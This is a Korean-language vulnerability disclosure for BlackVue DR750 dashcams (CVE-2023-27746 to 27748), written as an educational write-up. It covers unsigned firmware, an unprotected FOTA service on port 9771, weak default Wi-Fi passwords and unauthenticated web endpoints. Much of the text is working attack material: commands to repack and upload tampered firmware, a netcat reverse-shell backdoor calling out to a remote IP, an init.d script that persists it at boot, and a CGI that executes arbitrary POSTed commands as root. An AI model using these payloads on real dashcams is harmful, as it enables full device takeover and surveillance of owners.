
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
아래 내용은 교육 목적으로만 제공되며, 소유하지 않거나 사용 권한이 없는 장치에는 시도하지 마십시오.
글을 쓰는 시점 기준으로 온라인에는 취약한 BlackVue 장치가 약 300대 있으며, 쉽게 발견되고 악용될 수 있고 공식 패치는 아직 나오지 않았습니다.
BlackVue에는 2022년 7월 30일에 이러한 취약점을 통보했으며, 해당 사항을 검토하겠다고 답변했습니다. 하지만 우리가 아는 한 아무것도 진행되지 않았습니다.
펌웨어에 대한 인증 검사가 없어 악의적인 공격자가 사용자 지정 펌웨어를 업로드할 수 있습니다. 이 사용자 지정 펌웨어에는 백도어나 익스플로잇이 포함될 수 있습니다.
재현 단계:
.zip의 압축을 푼다patch_<dashcam_name>.bin의 압축을 푼다tar.gz로 압축한다patch_<dashcam_name>.bin에 대한 sue 체크섬을 계산한다 (sue_checksum 확인)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
그런 다음 BlackVue 폴더를 대시캠의 SD 카드에 넣으면 장치가 이를 실행하기 시작합니다.
FOTA(무선 펌웨어 업데이트)용 펌웨어를 만들 때는 대신 System 디렉터리의 .tgz 파일을 만드십시오.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
이 파일은 나중에 FOTA를 사용하여 사용자 지정 펌웨어를 업로드하고 대시캠을 완전히 장악하는 데 사용될 수 있습니다.
테스트 중 확인된 중요한 점은 BlackVue 웹사이트의 공식 펌웨어로 다시 플래싱해도 설치된 백도어가 유지되었다는 것입니다.
BlackVue 대시캠은 FOTA(무선 펌웨어 업데이트) 서비스가 실행되는 9771/TCP 포트에서 수신 대기합니다.
이 서비스를 통해 ping, 재시작, 장치 시간 확인, 펌웨어 업그레이드 등을 수행할 수 있습니다.
이 엔드포인트를 보호하는 것은 없으며, 대시캠과 같은 LAN에 연결되어 있으면 접근할 수 있고, 대시캠이 LTE에 연결되어 있으면 인터넷에서도 접근할 수 있어 상당한 보안 위험입니다. FOTA 서비스와 통신할 수 있는 Python 스크립트는 여기에서 찾을 수 있습니다.
이전 섹션의 단계를 기반으로 새 펌웨어를 만들고 Python 스크립트를 사용하여 업로드하십시오.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
이 유틸리티는 작동을 보장하지 않지만 이전에 한 번 작동한 적이 있습니다.
대시캠에는 어떤 방화벽도 활성화되어 있지 않으며, 대시캠이 Wi-Fi로만 연결된 경우에는 문제가 덜할 수 있습니다. 하지만 일부 모바일 통신사는 방화벽을 설정하지 않고 사용자를 NAT 뒤에 두지 않기 때문에 LTE 버전은 인터넷에 직접 연결됩니다. 이는 추출된 펌웨어를 살펴보면 확인할 수 있습니다.
최소한 LTE가 장착된 BlackVue 대시캠은 LTE 측 연결을 차단해야 합니다.
대시캠의 기본 Wi-Fi 비밀번호는 길이가 8자인 소문자 영숫자로만 구성됩니다. 대시캠의 핸드셰이크를 가로채고 Aircrack-ng 도구를 사용하여 비밀번호를 계산할 수 있습니다(사용자가 변경하지 않은 경우). 임대 하드웨어를 사용하면 약 4일 정도 소요됩니다(~40 EUR).
기본적으로 웹 서버는 인증 없이 접근할 수 있으며 다양한 엔드포인트를 노출합니다.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
이 엔드포인트를 통해 다음을 수행할 수 있습니다:
대시캠이 연결할 네트워크의 Wi-Fi SSID와 비밀번호는 대시캠의 SD 카드에 저장됩니다. 이 데이터는 암호화되어 있지만 앱을 리버스 엔지니어링하면 키를 쉽게 알아낼 수 있습니다. wifi-decrypt.py에서 확인할 수 있습니다.
또한 대시캠이 연결할 Wi-Fi 네트워크를 변경할 때 이러한 값이 BlackVue의 서버로 전송되어 대시캠에 정보를 보낼 수 있을 때까지 저장된다는 점도 주목할 만합니다. 대시캠이 사용 가능해지면 이 데이터가 삭제되는지 여부는 알 수 없습니다.
이 모든 것은 특히 LTE 대시캠에서 간단한 RCE로 결합될 수 있습니다.
사용자 지정 펌웨어에 포함할 수 있는 백도어의 몇 가지 예시입니다.
다음 백도어는 원격 머신에 연결하여 루트 권한의 전체 셸 액세스를 제공합니다.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
다음 init.d 스크립트는 부팅할 때마다 백도어를 시작하고 지정된 IP/포트에 연결합니다.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgi다음 백도어는 페이로드가 웹 서버로 전송될 때 (루트 권한으로) 명령을 실행할 수 있게 합니다.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING